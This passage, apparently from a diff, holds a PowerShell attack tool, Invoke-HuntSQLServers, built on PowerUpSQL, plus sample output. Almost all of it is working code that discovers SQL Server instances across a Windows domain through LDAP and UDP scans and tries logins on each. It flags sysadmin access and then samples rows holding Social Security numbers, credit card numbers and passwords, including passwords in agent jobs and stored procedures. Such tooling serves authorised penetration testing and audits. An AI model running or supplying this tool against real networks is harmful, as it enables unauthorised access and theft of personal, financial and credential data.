---------------------------------------------------------------- + Database Summary + ---------------------------------------------------------------- + o 10 accessible non-default databases were found. + o 2 databases were found configured with transparent encryption. + o 4 database names contain ACH. + o 1 database names contain finance. + o 6 database names contain chd. + o 7 database names contain enclave. + o 2 database names contain pos. + + ---------------------------------------------------------------- + Sensitive Data Access Summary + ---------------------------------------------------------------- + o 1 sample rows were found for columns containing SSN. + o 7 sample rows were found for columns containing CREDIT. + o 3 sample rows were found for columns containing CARD. + + ---------------------------------------------------------------- + Password Access Summary + ---------------------------------------------------------------- + o 4 sample rows were found for columns containing PASSWRORD. + o 1 agent jobs potentially contain passwords. *requires sysadmin + o 0 stored procedures potentially contain passwords. *requires sysadmin + + ---------------------------------------------------------------- + [*] Saving results to C:\temp\demo.com-Share-Inventory-Summary-Report.html + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'Domain user to authenticate with domain\user. For computer lookup.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain password to authenticate with domain\user. For computer lookup.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain controller for Domain and Site that you want to query against. For computer lookup.')] + [string]$DomainController, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads to process at once.')] + [int]$Threads = 100, + + [Parameter(Mandatory = $false, + HelpMessage = 'Perform SPN discovery of MSServerClusterMgmtAPI SPN as well. This is much slower.')] + [switch]$CheckMgmt, + + [Parameter(Mandatory = $false, + HelpMessage = 'Attempt to log into all identify instances even if they dont respond to UDP requests.')] + [switch]$CheckAll, + + [Parameter(Mandatory = $true, + HelpMessage = 'Directory to output files to.')] + [string]$OutputDirectory + ) + + Begin + { + Write-Output " ----------------------------------------------------------------" + Write-Output " | Invoke-HuntSQLServers |" + Write-Output " ----------------------------------------------------------------" + Write-Output " | |" + Write-Output " | This function automates the following tasks: |" + Write-Output " | |" + Write-Output " | Instance Discovery |" + Write-Output " | o Determine current computer's domain |" + Write-Output " | o Query the domain controller via LDAP for SQL Server instances|" + Write-Output " | o Filter for instances that respond to UDP scans |" + Write-Output " | |" + Write-Output " | Access Discovery |" + Write-Output " | o Filter for instances that can be logged into |" + Write-Output " | o Filter for instances that provide sysadmin access |" + Write-Output " | o Identify potentially excessive role members (sysadmin) |" + Write-Output " | o Identify shared SQL Server service accounts |" + Write-Output " | o Summarize versions that could be logged into |" + Write-Output " | |" + Write-Output " | Data Target Discovery: Database Targets |" + Write-Output " | o Filter based on database name |" + Write-Output " | o Filter based on database encryption |" + Write-Output " | |" + Write-Output " | Data Target Discovery: Sensitive Data |" + Write-Output " | o Social security numbers via column name |" + Write-Output " | o Credit card numbers via column name |" + Write-Output " | |" + Write-Output " | Data Target Discovery: Passwords |" + Write-Output " | o Passwords via column names |" + Write-Output " | o Passwords in agent jobs (sysadmin) |" + Write-Output " | o Passwords in stored procedures (sysadmin) |" + Write-Output " | |" + Write-Output " ----------------------------------------------------------------" + Write-Output " | Note: This can take hours to run in large environments. |" + Write-Output " ----------------------------------------------------------------" + Write-Output " [*] Results will be written to $OutputDirectory" + + # Verify PowerUpSQL was loaded + $CheckForPowerUpSQL = Test-Path Function:\Get-SQLAuditDatabaseSpec + if($CheckForPowerUpSQL -eq $false) + { + Write-Output " [-] This function requires PowerUpSQL: www.powerupsql.com" + Write-Output " [!] Aborting execution." + break + } + + # Verify an output direcotry has been provided + if(-not $OutputDirectory) + { + Write-Output " [-] -OutputDirectory parameter was not provided." + Write-Output " [!] Aborting execution." + break + } + + # Get start time + $StartTime = Get-Date + Write-Output " [*] Start time: $StartTime" + $StopWatch = [system.diagnostics.stopwatch]::StartNew() + + # Get domain controller + + # Set target domain and domain + Write-Output " [*] Verifying connectivity to the domain controller" + if(-not $DomainController){ + + # If no dc is provided then use environmental variables + $DCHostname = $env:LOGONSERVER -replace("\\","") + $TargetDomain = $env:USERDNSDOMAIN + }else{ + $DCRecord = Get-domainobject -LdapFilter "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" -DomainController $DomainController -Username $username -Password $Password | select -first 1 | select properties -expand properties -ErrorAction SilentlyContinue + [string]$DCHostname = $DCRecord.dnshostname + [string]$DCCn = $DCRecord.cn + [string]$TargetDomain = $DCHostname -replace ("$DCCn\.","") + } + + if($DCHostname) + { + Write-Output " [*] - Targeting domain $TargetDomain" + Write-Output " [*] - Confirmed connection to domain controller $DCHostname" + }else{ + Write-Output " [*] - There appears to have been an error connecting to the domain controller." + Write-Output " [*] - Aborting." + break + } + } + + Process + { + + # ------------------------------------------ + # Instance Discovery + # ------------------------------------------ + + Write-Output " [*] -------------------------------------------------------------" + Write-Output " [*] INSTANCE DISCOVERY" + Write-Output " [*] -------------------------------------------------------------" + + # Get SQL Server instances + if($CheckMgmt){ + Write-Output " [*] Querying LDAP for SQL Server SPNs (mssql* and MSServerClusterMgmtAPI)." + Write-Output " [*] - WARNING: You have chosen to target MSServerClusterMgmtAPI" + Write-Output " [*] It will yield more results, but will be much slower." + $AllInstances = Get-SQLInstanceDomain -CheckMgmt + }else{ + Write-Output " [*] Querying LDAP for SQL Server SPNs (mssql*)." + $AllInstances = Get-SQLInstanceDomain + } + + $AllInstancesCount = $AllInstances.count + $AllComputers = $AllInstances | Select ComputerName -Unique + $AllComputersCount = $AllComputers.count + Write-Output " [*] - $AllInstancesCount SQL Server SPNs were found across $AllComputersCount computers." + + # Save list of SQL Server instances to a file + write-output " [*] - Writing list of SQL Server SPNs to $OutputDirectory\$TargetDomain-SQL-Server-Instance-SPNs.csv" + $AllInstances | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-All.csv" + + # Perform UDP scanning of identified SQL Server instances on udp port 1434 + write-output " [*] Performing UDP scanning $AllComputersCount computers." + $UDPInstances = $AllComputers | Where-Object ComputerName -notlike "" | Get-SQLInstanceScanUDPThreaded -Threads 100 + $UDPInstancesCount = $UDPInstances.count + Write-Output " [*] - $UDPInstancesCount instances responded." + $UDPInstances | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-UDPResponse.csv" + + # ------------------------------------------ + # Access Discovery + # ------------------------------------------ + + Write-Output " [*] -------------------------------------------------------------" + Write-Output " [*] ACCESS DISCOVERY" + Write-Output " [*] -------------------------------------------------------------" + + # Check if targeting all or just those that responded to UDP + if($CheckAll){ + + # Attempt to log into instances that found via SPNs + Write-Output " [*] Attempting to log into $AllInstancesCount instances found via SPN query." + $LoginAccess = $AllInstances | Get-SQLServerInfoThreaded -Threads 100 + $LoginAccessCount = $LoginAccess.count + Write-Output " [*] - $LoginAccessCount could be logged into." + $LoginAccess | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-LoginAccess.csv" + + }else{ + + # Attempt to log into instances that responded to UDP + Write-Output " [*] Attempting to log into $UDPInstancesCount instances that responded to UDP scan." + $LoginAccess = $UDPInstances | Get-SQLServerInfoThreaded -Threads 100 + $LoginAccessCount = $LoginAccess.count + Write-Output " [*] - $LoginAccessCount could be logged into." + $LoginAccess | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-LoginAccess.csv" + } + + # Filter for instances with sysadmin privileges + Write-Output " [*] Listing sysadmin access." + $LoginAccessSysadmin = $LoginAccess | Where-Object IsSysadmin -like "Yes" + $LoginAccessSysadminCount = $LoginAccessSysadmin.count + Write-Output " [*] - $LoginAccessSysadminCount SQL Server instances provided sysadmin privileges." + $LoginAccessSysadmin | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-LoginAccess-Sysadmin.csv" + + # Attempt to obtain a list of role members from SQL Server instance (requrie sysadmin) + Write-Output " [*] Attempting to grab role members from $LoginAccessCount instances." + Write-Output " [*] - This usually requires special privileges" + $RoleMembers = $LoginAccess | Get-SQLServerRoleMember + $RoleMembersCount = $RoleMembers.count + Write-Output " [*] - $RoleMembersCount role members were found." + $RoleMembers | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-RoleMembers.csv" + + # Filter for common explicit role assignments for Everyone, Builtin\Users, Authenticated Users, and Domain Users + Write-Output " [*] Identifying excessive role memberships." + $ExcessiveRoleMemberships = $RoleMembers | + ForEach-Object{ + + # Filter for broad groups + if (($_.PrincipalName -eq "Everyone") -or ($_.PrincipalName -eq "BUILTIN\Users") -or ($_.PrincipalName -eq "Authenticated Users") -or ($_.PrincipalName -like "*Domain Users") ) + { + $_ + } + } + $ExcessiveRoleMembershipsCount = $ExcessiveRoleMemberships.count + Write-Output " [*] - $ExcessiveRoleMembershipsCount were found." + $ExcessiveRoleMemberships | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-RoleMembers-Excessive.csv" + + # Create a list of share service accounts from the instance information + Write-Output " [*] Identifying shared SQL Server service accounts." + $SharedAccounts = $AllInstances | Group-Object DomainAccount | Sort-Object Count -Descending | Where Count -GT 4 | Select Count, Name + $SharedAccountsCount = $SharedAccounts.count + Write-Output " [*] - $SharedAccountsCount shared accounts were found." + $SharedAccounts | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-SharedAccounts.csv" + + # Create a summary of the affected SQL Server versions + Write-Output " [*] Creating a list of accessible SQL Server instance versions." + $SQLServerVersions = $LoginAccess | Group-Object SQLServerEdition | Sort-Object Count -Descending | Select Count, Name + $SQLServerVersionsCount = $SQLServerVersions.count + Write-Output " [*] - $SQLServerVersionsCount versions were found that could be logged into." + $SQLServerVersions | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-VersionSummary.csv" + + # ------------------------------------------ + # Data Discovery: Databse Targets + # ------------------------------------------ + + Write-Output " [*] -------------------------------------------------------------" + Write-Output " [*] DATABASE TARGET DISCOVERY" + Write-Output " [*] -------------------------------------------------------------" + + # Get a list of all accessible non-default databases from SQL Server instances + Write-Output " [*] Querying for all non-default accessible databases." + $Databases = $LoginAccess | Get-SQLDatabaseThreaded -NoDefaults -HasAccess + $DatabasesCount = $Databases.count + Write-Output " [*] - $DatabasesCount accessible non-default databases were found." + $Databases | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases.csv" + + # Filter for potential high value databases if transparent encryption is used + Write-Output " [*] Filtering for databases using transparent encryption." + $DatabasesEnc = $Databases | Where-Object {$_.is_encrypted –eq “TRUE”} + $DatabasesEncCount = $DatabasesEnc.count + Write-Output " [*] - $DatabasesEncCount databases were found using encryption." + $DatabasesEnc | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-Encrypted.csv" + + # Filter for potential high value databases based on keywords + Write-Output " [*] Filtering for databases with names that contain ACH." + $DatabasesACH = $Databases | Where-Object {$_.DatabaseName –like “*ACH*”} + $DatabasesACHCount = $DatabasesACH.count + Write-Output " [*] - $DatabasesACHCount database names contain ACH." + $DatabasesACH | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-ach.csv" + + Write-Output " [*] Filtering for databases with names that contain finance." + $DatabasesFinance = $Databases | Where-Object {$_.DatabaseName –like “*finance*”} + $DatabasesFinanceCount = $DatabasesFinance.count + Write-Output " [*] - $DatabasesFinanceCount database names contain finance." + $DatabasesFinance | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-finance.csv" + + Write-Output " [*] Filtering for databases with names that contain pci." + $DatabasesPCI = $Databases | Where-Object {$_.DatabaseName –like “*pci*”} + $DatabasesPCICount = $DatabasesPCI.count + Write-Output " [*] - $DatabasesPCICount database names contain pci." + $DatabasesPCI | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-pci.csv" + + Write-Output " [*] Filtering for databases with names that contain chd." + $DatabasesCHD = $Databases | Where-Object {$_.DatabaseName –like “*chd*”} + $DatabasesCHDCount = $DatabasesCHD.count + Write-Output " [*] - $DatabasesCHDCount database names contain chd." + $DatabasesCHD | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-chd.csv" + + Write-Output " [*] Filtering for databases with names that contain enclave." + $DatabasesEnclave = $Databases | Where-Object {$_.DatabaseName –like “*enclave*”} + $DatabasesEnclaveCount = $DatabasesEnclave.count + Write-Output " [*] - $DatabasesEnclaveCount database names contain enclave." + $DatabasesEnclave | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-enclave.csv" + + Write-Output " [*] Filtering for databases with names that contain pos." + $DatabasesPOS = $Databases | Where-Object {$_.DatabaseName –like “*pos*”} + $DatabasesPOSCount = $DatabasesPOS.count + Write-Output " [*] - $DatabasesPOSCount database names contain pos." + $DatabasesPOS | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-pos.csv" + + # ------------------------------------------ + # Data Discovery: Sensitive Data Targets + # ------------------------------------------ + + Write-Output " [*] -------------------------------------------------------------" + Write-Output " [*] SENSITIVE DATA TARGET DISCOVERY" + Write-Output " [*] -------------------------------------------------------------" + + # Target Social security numbers via column name + Write-Output " [*] Search accessible non-default databases for table names containing SSN." + $SSNNumbers = $LoginAccess | Get-SQLColumnSampleDataThreaded -SampleSize 2 -NoDefaults -Threads 20 -Keywords "ssn" + $SSNNumbersCount = $SSNNumbers.count + Write-Output " [*] - $SSNNumbersCount table columns found containing SSN." + $SSNNumbers | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Data-ssn.csv" + + # Target credit numbers via column name + Write-Output " [*] Search accessible non-default databases for table names containing CARD." + $ccCards = $LoginAccess | Get-SQLColumnSampleDataThreaded -SampleSize 2 -NoDefaults -ValidateCC -Threads 20 -Keywords "card" + $ccCardsCount = $ccCards.count + Write-Output " [*] - $ccCardsCount table columns found containing CARD." + $ccCards | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Data-card.csv" + + Write-Output " [*] Search accessible non-default databases for table names containing CREDIT." + $ccCredit = $LoginAccess | Get-SQLColumnSampleDataThreaded -SampleSize 2 -NoDefaults -ValidateCC -Threads 20 -Keywords "credit" + $ccCreditCount = $ccCredit.count + Write-Output " [*] - $ccCreditCount table columns found containing CREDIT." + $ccCredit | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Data-credit.csv" + + # ------------------------------------------ + # Data Discovery: Password Targets + # ------------------------------------------ + + Write-Output " [*] -------------------------------------------------------------" + Write-Output " [*] PASSWORD TARGET DISCOVERY" + Write-Output " [*] -------------------------------------------------------------" + + # Target passwords based on column names + Write-Output " [*] Search accessible non-default databases for table names containing PASSWORD." + $ColumnPasswords = $LoginAccess | Get-SQLColumnSampleDataThreaded -SampleSize 2 -NoDefaults -Threads 20 -Keywords "password" + $ColumnPasswordsCount = $ColumnPasswords.count + Write-Output " [*] - $ColumnPasswordsCount table columns found containing PASSWORD." + $ColumnPasswords | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Passswords-ColumnName.csv" + + # Target passwords in agent jobs (requires privileges) + Write-Output " [*] Search accessible non-default databases for agent source code containing PASSWORD." + $AgentPasswords = $LoginAccess | Get-SQLAgentJob -Keyword "password" + $AgentPasswordsCount = $AgentPasswords.count + Write-Output " [*] - $AgentPasswordsCount agent jobs containing PASSWORD." + $AgentPasswords | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Passswords-AgentJobs.csv" + + # Target passwords in stored procedures (requires privileges) + Write-Output " [*] Search accessible non-default databases for stored procedure source code containing PASSWORD." + $SpPasswords = $LoginAccess | Get-SQLStoredProcedure -Keyword "password" + $SpPasswordsCount = $SpPasswords.count + Write-Output " [*] - $SpPasswordsCount stored procedures containing PASSWORD." + $SpPasswords | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Passswords-Procedures.csv" + } + + End + { + # Get run time + $EndTime = Get-Date + $StopWatch.Stop() + $RunTime = $StopWatch | Select-Object Elapsed -ExpandProperty Elapsed + + # ------------------------------------------ + # Console Report + # ------------------------------------------ + + # Generate summary console output + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " SQL SERVER HUNT SUMMARY REPORT " + Write-Output " ----------------------------------------------------------------" + Write-Output " Scan Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " o Domain : $TargetDomain" + Write-Output " o Start Time : $StartTime" + Write-Output " o Stop Time : $EndTime" + Write-Output " o Run Time : $RunTime" + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " Instance Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " o $AllInstancesCount SQL Server instances found via SPN LDAP query." + Write-Output " o $UDPInstancesCount SQL Server instances responded to port 1434 UDP requests." + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " Access Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " " + Write-Output " Access:" + Write-Output " o $LoginAccessCount SQL Server instances could be logged into." + Write-Output " o $LoginAccessSysadminCount SQL Server instances provided sysadmin access." + Write-Output " o $RoleMembersCount SQL Server role members were enumerated. *requires privileges" + Write-Output " o $ExcessiveRoleMembershipsCount excessive role assignments were identified." + Write-Output " o $SharedAccountsCount Shared SQL Server service accounts found." + Write-Output " " + Write-Output " Below are the top 5:" + + # Display top 5 most common service accounts + $SqlServiceAccountTop5 = $SharedAccounts | Select-Object count,name -First 5 + $SqlServiceAccountTop5 | + Foreach{ + + $CurrentCount = $_.count + $CurrentName = $_.name + Write-Output " o $CurrentCount $CurrentName" + } + + Write-Output " " + Write-Output " Below is a summary of the versions for the accessible instances:" + + # Display all SQL Server instance version counts + $LoginAccess | Group-Object SQLServerEdition | Sort-Object count -Descending | Select-Object count,name | + Foreach{ + + $CurrentCount = $_.count + $CurrentName = $_.name + Write-Output " o $CurrentCount $CurrentName" + } + + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " Database Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " o $DatabasesCount accessible non-default databases were found." + Write-Output " o $DatabasesEncCount databases were found configured with transparent encryption." + Write-Output " o $DatabasesACHCount database names contain ACH." + Write-Output " o $DatabasesFinanceCount database names contain finance." + Write-Output " o $DatabasesCHDCount database names contain chd." + Write-Output " o $DatabasesEnclaveCount database names contain enclave." + Write-Output " o $DatabasesPOSCount database names contain pos." + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " Sensitive Data Access Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " o $SSNNumbersCount sample rows were found for columns containing SSN." + Write-Output " o $ccCreditCount sample rows were found for columns containing CREDIT." + Write-Output " o $ccCardsCount sample rows were found for columns containing CARD." + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " Password Access Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " o $ColumnPasswordsCount sample rows were found for columns containing PASSWRORD." + Write-Output " o $AgentPasswordsCount agent jobs potentially contain passwords. *requires sysadmin" + Write-Output " o $SpPasswordsCount stored procedures potentially contain passwords. *requires sysadmin" + Write-Output " " + Write-Output " ----------------------------------------------------------------" + + # ------------------------------------------ + # HTML Report + # ------------------------------------------ + + $HTMLReport1 = @" + +
+ + +